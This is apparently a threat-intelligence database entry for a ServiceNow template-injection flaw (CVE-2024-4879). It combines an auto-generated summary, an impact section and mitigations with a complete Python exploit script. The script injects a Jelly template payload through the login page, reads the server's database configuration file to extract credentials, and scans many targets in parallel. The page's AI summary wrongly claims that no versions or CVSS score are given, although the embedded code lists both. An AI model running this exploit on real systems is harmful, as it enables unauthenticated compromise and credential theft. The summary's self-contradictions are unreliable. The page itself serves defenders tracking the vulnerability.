ServiceNow Multiple Versions - Input Validation & Template Injection
ServiceNow Multiple Versions - Input Validation & Template Injection
AI Analysis
Technical Summary
This threat concerns multiple versions of the ServiceNow platform, a widely used IT service management (ITSM) tool, which suffer from input validation and template injection vulnerabilities. Input validation flaws mean that the application does not properly sanitize or validate user-supplied input before processing it. Template injection vulnerabilities occur when untrusted input is embedded into server-side templates without adequate sanitization, allowing attackers to inject malicious code that the server executes. Such vulnerabilities can lead to remote code execution, data leakage, or unauthorized access to sensitive information. The exploit code, written in Python, demonstrates how an attacker can automate exploitation, increasing the risk of widespread attacks. Although the specific affected versions are not listed, the presence of multiple versions implies a broad attack surface. No patches or remediation links are currently provided, and no exploits have been observed in the wild yet, but the availability of exploit code lowers the barrier for attackers. The vulnerability primarily affects web interfaces of ServiceNow, which are critical for managing IT workflows, making the impact potentially severe. The lack of a CVSS score necessitates an independent severity assessment, considering the potential for significant confidentiality, integrity, and availability impacts, combined with ease of exploitation and no authentication requirement.
Potential Impact
For European organizations, the impact of this vulnerability could be substantial. ServiceNow is widely adopted across Europe for IT service management, incident response, and business process automation. Exploitation could lead to unauthorized access to sensitive corporate data, disruption of IT operations, and potential lateral movement within networks. Confidentiality breaches could expose personal data protected under GDPR, leading to regulatory penalties and reputational damage. Integrity of IT workflows could be compromised, causing erroneous ticketing, misconfiguration, or denial of service. Availability of critical ITSM services might be affected, impacting business continuity. Organizations in sectors such as finance, healthcare, government, and critical infrastructure, which rely heavily on ServiceNow, would be particularly vulnerable. The presence of exploit code increases the likelihood of targeted attacks or opportunistic exploitation, emphasizing the need for proactive defense measures.
Mitigation Recommendations
1. Monitor ServiceNow vendor advisories closely and apply security patches immediately once available. 2. Implement strict input validation and sanitization on all user inputs, especially those interacting with templates or scripting engines. 3. Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious template injection patterns. 4. Conduct thorough code reviews and security testing of custom ServiceNow scripts and workflows to identify and remediate injection points. 5. Restrict access to ServiceNow administrative interfaces and APIs using network segmentation and strong authentication mechanisms. 6. Enable detailed logging and monitoring of ServiceNow activities to detect anomalous behavior indicative of exploitation attempts. 7. Train security teams on the specifics of template injection vulnerabilities and exploitation techniques to improve incident response readiness. 8. Consider deploying runtime application self-protection (RASP) solutions to detect and block injection attacks in real time.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Belgium, Italy, Spain
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affected from 0 before Vancouver Patch 9 # affected from 0 before Vancouver Patch 10 # affected from 0 before Washington DC Patch 1 Hot Fix 2b # affected from 0 before Washington DC Patch 2 Hot Fix 2 # affected from 0 before Washington DC Patch 3 Hot Fix 1 # affected from 0 before Washington DC Patch 4 # Tested on: ServiceNow Platform # CVE: CVE-2024-4879 # Category: Input Validation # CVSS Score: 9.8 (Critical) # CWE: CWE-20 (Improper Input Validation) # Description: # ServiceNow Platform contains an input validation vulnerability that allows # unauthenticated remote code execution. The vulnerability affects Vancouver, # Washington DC, and Utah releases of the Now Platform. # Impact: # - Unauthenticated remote code execution # - Complete system compromise # - Data exfiltration # - Service disruption # Requirements: # - requests>=2.25.1 # - colorama>=0.4.4 # - urllib3 # Usage: # python3 CVE-2024-4879.py -t https://target.service-now.com # python3 CVE-2024-4879.py -f targets.txt """ from colorama import Fore, Style, init import requests import argparse import urllib3 import concurrent.futures import sys import re from urllib.parse import urlparse # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: RED = Fore.RED GREEN = Fore.GREEN YELLOW = Fore.YELLOW BLUE = Fore.BLUE WHITE = Fore.WHITE CYAN = Fore.CYAN MAGENTA = Fore.MAGENTA RESET = Style.RESET_ALL banner = f""" {Colors.CYAN} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ █████╗ ███████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██║ ██║██╔══██╗╚════██║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝ ██╔╝╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗ ██╔╝ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚════╝ {Colors.RESET} {Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET} {Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET} """ class ServiceNowExploit: def __init__(self, timeout=10, verbose=False): self.timeout = timeout self.verbose = verbose self.session = requests.Session() self.session.verify = False def _log(self, level, message, url=""): """Enhanced logging with colors and levels""" timestamp = "[*]" if level == "success": print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "error": print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "warning": print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "info": print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "verbose" and self.verbose: print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") def validate_url(self, url): """Validate and normalize URL format""" if not url.startswith(('http://', 'https://')): url = f"https://{url}" try: parsed = urlparse(url) if not parsed.netloc: return None return url except Exception: return None def check_target_reachability(self, url): """Check if target is reachable""" try: response = self.session.get(url, timeout=self.timeout) if response.status_code == 200: self._log("info", "Target is reachable", url) return True else: self._log("warning", f"Target returned status {response.status_code}", url) return False except requests.exceptions.RequestException as e: self._log("error", f"Target unreachable: {str(e)}", url) return False def exploit_vulnerability(self, url): """Main exploit function for CVE-2024-4879""" try: # Normalize URL url = self.validate_url(url) if not url: self._log("error", "Invalid URL format") return False # Check reachability first if not self.check_target_reachability(url): return False # Construct the exploit payload exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" exploit_url = f"{url}{exploit_path}" self._log("info", "Testing for CVE-2024-4879 vulnerability", url) # Send exploit request response = self.session.get(exploit_url, timeout=self.timeout) if self.verbose: self._log("verbose", f"Response status: {response.status_code}") self._log("verbose", f"Response length: {len(response.text)}") # Check for vulnerability indicator if response.status_code == 200 and "1337" in response.text: self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url) # Attempt to extract sensitive information info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" info_url = f"{url}{info_path}" try: info_response = self.session.get(info_url, timeout=self.timeout) if info_response.status_code == 200: self._log("success", "Database configuration extracted!") if self.verbose: print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}") # Extract and display configuration data config_data = self._extract_config_data(info_response.text) if config_data: print(config_data) print(f"{Colors.YELLOW}================================{Colors.RESET}\n") except Exception as e: self._log("warning", f"Failed to extract configuration: {str(e)}") return True else: self._log("error", "Not vulnerable or payload failed", url) return False except requests.exceptions.Timeout: self._log("warning", "Connection timeout", url) return False except requests.exceptions.ConnectionError: self._log("error", "Connection failed", url) return False except Exception as e: self._log("error", f"Unexpected error: {str(e)}", url) return False def _extract_config_data(self, response_text): """Extract configuration data from response""" try: # Look for database configuration patterns patterns = [ r'glide\.db\..*?=.*', r'jdbc\..*?=.*', r'database\..*?=.*' ] extracted_data = [] for pattern in patterns: matches = re.findall(pattern, response_text, re.IGNORECASE) extracted_data.extend(matches) return '\n'.join(extracted_data) if extracted_data else None except Exception: return None def main(): parser = argparse.ArgumentParser( description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner", epilog="Examples:\n python3 CVE-2024-4879.py -t https://target.service-now.com\n python3 CVE-2024-4879.py -f targets.txt -v", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('-t', '--target', help="Single target to scan") parser.add_argument('-f', '--file', help="File containing list of targets") parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output") parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)") args = parser.parse_args() if not args.target and not args.file: parser.print_help() sys.exit(1) print(banner) try: exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose) if args.target: exploit.exploit_vulnerability(args.target) if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f.readlines() if line.strip()] print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n") with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: executor.map(exploit.exploit_vulnerability, targets) except FileNotFoundError: print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user") sys.exit(0) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}") sys.exit(1) if __name__ == "__main__": main()
ServiceNow Multiple Versions - Input Validation & Template Injection
Description
ServiceNow Multiple Versions - Input Validation & Template Injection
AI-Powered Analysis
Technical Analysis
This threat concerns multiple versions of the ServiceNow platform, a widely used IT service management (ITSM) tool, which suffer from input validation and template injection vulnerabilities. Input validation flaws mean that the application does not properly sanitize or validate user-supplied input before processing it. Template injection vulnerabilities occur when untrusted input is embedded into server-side templates without adequate sanitization, allowing attackers to inject malicious code that the server executes. Such vulnerabilities can lead to remote code execution, data leakage, or unauthorized access to sensitive information. The exploit code, written in Python, demonstrates how an attacker can automate exploitation, increasing the risk of widespread attacks. Although the specific affected versions are not listed, the presence of multiple versions implies a broad attack surface. No patches or remediation links are currently provided, and no exploits have been observed in the wild yet, but the availability of exploit code lowers the barrier for attackers. The vulnerability primarily affects web interfaces of ServiceNow, which are critical for managing IT workflows, making the impact potentially severe. The lack of a CVSS score necessitates an independent severity assessment, considering the potential for significant confidentiality, integrity, and availability impacts, combined with ease of exploitation and no authentication requirement.
Potential Impact
For European organizations, the impact of this vulnerability could be substantial. ServiceNow is widely adopted across Europe for IT service management, incident response, and business process automation. Exploitation could lead to unauthorized access to sensitive corporate data, disruption of IT operations, and potential lateral movement within networks. Confidentiality breaches could expose personal data protected under GDPR, leading to regulatory penalties and reputational damage. Integrity of IT workflows could be compromised, causing erroneous ticketing, misconfiguration, or denial of service. Availability of critical ITSM services might be affected, impacting business continuity. Organizations in sectors such as finance, healthcare, government, and critical infrastructure, which rely heavily on ServiceNow, would be particularly vulnerable. The presence of exploit code increases the likelihood of targeted attacks or opportunistic exploitation, emphasizing the need for proactive defense measures.
Mitigation Recommendations
1. Monitor ServiceNow vendor advisories closely and apply security patches immediately once available. 2. Implement strict input validation and sanitization on all user inputs, especially those interacting with templates or scripting engines. 3. Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious template injection patterns. 4. Conduct thorough code reviews and security testing of custom ServiceNow scripts and workflows to identify and remediate injection points. 5. Restrict access to ServiceNow administrative interfaces and APIs using network segmentation and strong authentication mechanisms. 6. Enable detailed logging and monitoring of ServiceNow activities to detect anomalous behavior indicative of exploitation attempts. 7. Train security teams on the specifics of template injection vulnerabilities and exploitation techniques to improve incident response readiness. 8. Consider deploying runtime application self-protection (RASP) solutions to detect and block injection attacks in real time.
Affected Countries
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Technical Details
- Edb Id
- 52410
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ServiceNow Multiple Versions - Input Validation & Template Injection
#!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affecte... (10673 more characters)
Threat ID: 689a95b8ad5a09ad002b0962
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:38:13 AM
Last updated: 11/22/2025, 8:16:10 AM
Views: 70
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